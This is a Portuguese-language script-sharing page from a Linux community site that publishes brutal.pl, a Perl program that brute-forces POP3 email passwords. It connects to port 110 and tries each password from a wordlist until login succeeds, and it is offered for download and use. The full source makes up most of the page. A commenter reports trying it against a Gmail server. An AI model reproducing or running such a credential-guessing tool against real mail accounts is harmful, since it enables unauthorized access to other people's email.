Brutal Force Attack

Publicado por Fábio Berbert de Paula 13/11/2002

[ Hits: 16.127 ]

Homepage: https://fabio.automatizando.dev

Download brutal.zip




Tenta fazer a adivinhação da senha de um usuário de email através da técnica de invasão por força bruta, ou seja, tentativa e erro. O script utiliza o módulo IO::Socket para efetuar conexão com o servidor POP.

  



Esconder código-fonte

#!/usr/bin/perl
#############################################
# brutal.pl
#
# Programa que simula um ataque brutal force 
# em servidores de email através da tentativa
# de invasão por adivinhação de senha.
#
# Programado por: Fábio Berbert de Paula
# E-mail: fabio@vivaolinux.com.br
# Web Site: www.vivaolinux.com.br
#
# Rio de Janeiro, 12 de Agosto de 2002
# ##########################################

use strict;

use IO::Socket;

if ($#ARGV != 2) {
  print "Use: \n\t$0 popserver username passwd_list\n\nOnde:\n";
  print "\tpopserver = servidor de email\n\tusername = nome do usuário\n";
  print "\tpasswd_list = arquivo com a lista de senhas que serão enviadas para teste\n\n";
  exit(0);
}

my ($server,$user,$pwfile) = @ARGV;

if (! -f $pwfile) {
   print "Erro: $pwfile não é um nome de arquivo válido!\n";
   exit;
}

# para cada senha, tente invadir
open(R,$pwfile);
while (<R>) {
  chomp;
  tryout($server,$user,$_);
}
close(R);


sub tryout {
   my ($server,$user,$passwd) = @_;
   my $state;

   print "Tentativa: $passwd ...\n";
   my $connex = new IO::Socket::INET->new(  
                  PeerAddr  => $server,
                  PeerPort  => "110",
                  Proto     => "tcp",
                  Type      => SOCK_STREAM,
                  Timeout   => "30"
   );
   
   if (!defined($connex)) {
      print "Erro ao conectar ao servidor $server ...\n";
      exit(0);
   }
   
   $state = &readsock($connex);
   $connex->send("USER $user\r\n");
   $state = &readsock($connex);
   if ($state !~ /^\+OK/) { next; }
   $connex->send("PASS $passwd\r\n");
   $state = &readsock($connex);

   if ($state =~ /^\+OK/) { 
      print "Cracked!!! A senha do usuário $user é $passwd\n";
      exit;
   }
   
   $connex -> close;
   sleep(5);
}

sub readsock {
   my ($socket) = @_;
   my $data = '';
   my $buf = '';
   while ($buf !~ /\n$/) {
      $buf=<$socket>;
      $data .= $buf;
   }
   return $data;
}

Scripts recomendados

Script para encontrar vulnerabilidades no BIND

Monitor do BO

Code que "brinca" com senhas

Testando servers a HTMLSCRIPT

Testando multiplos servers a ataque DoS


  

Comentários
[1] Comentário enviado por iagolira em 02/01/2016 - 20:59h

$ perl brutal.pl smtp.gmail.com fulano@gmail.com list
Erro ao conectar ao servidor smtp.gmail.com ...

Estes script ainda funciona (sei que foi publicado em 2002)?


Contribuir com comentário




Patrocínio

Site hospedado pelo provedor RedeHost.
Linux banner

Destaques

Artigos

Dicas

Tópicos

Top 10 do mês

Scripts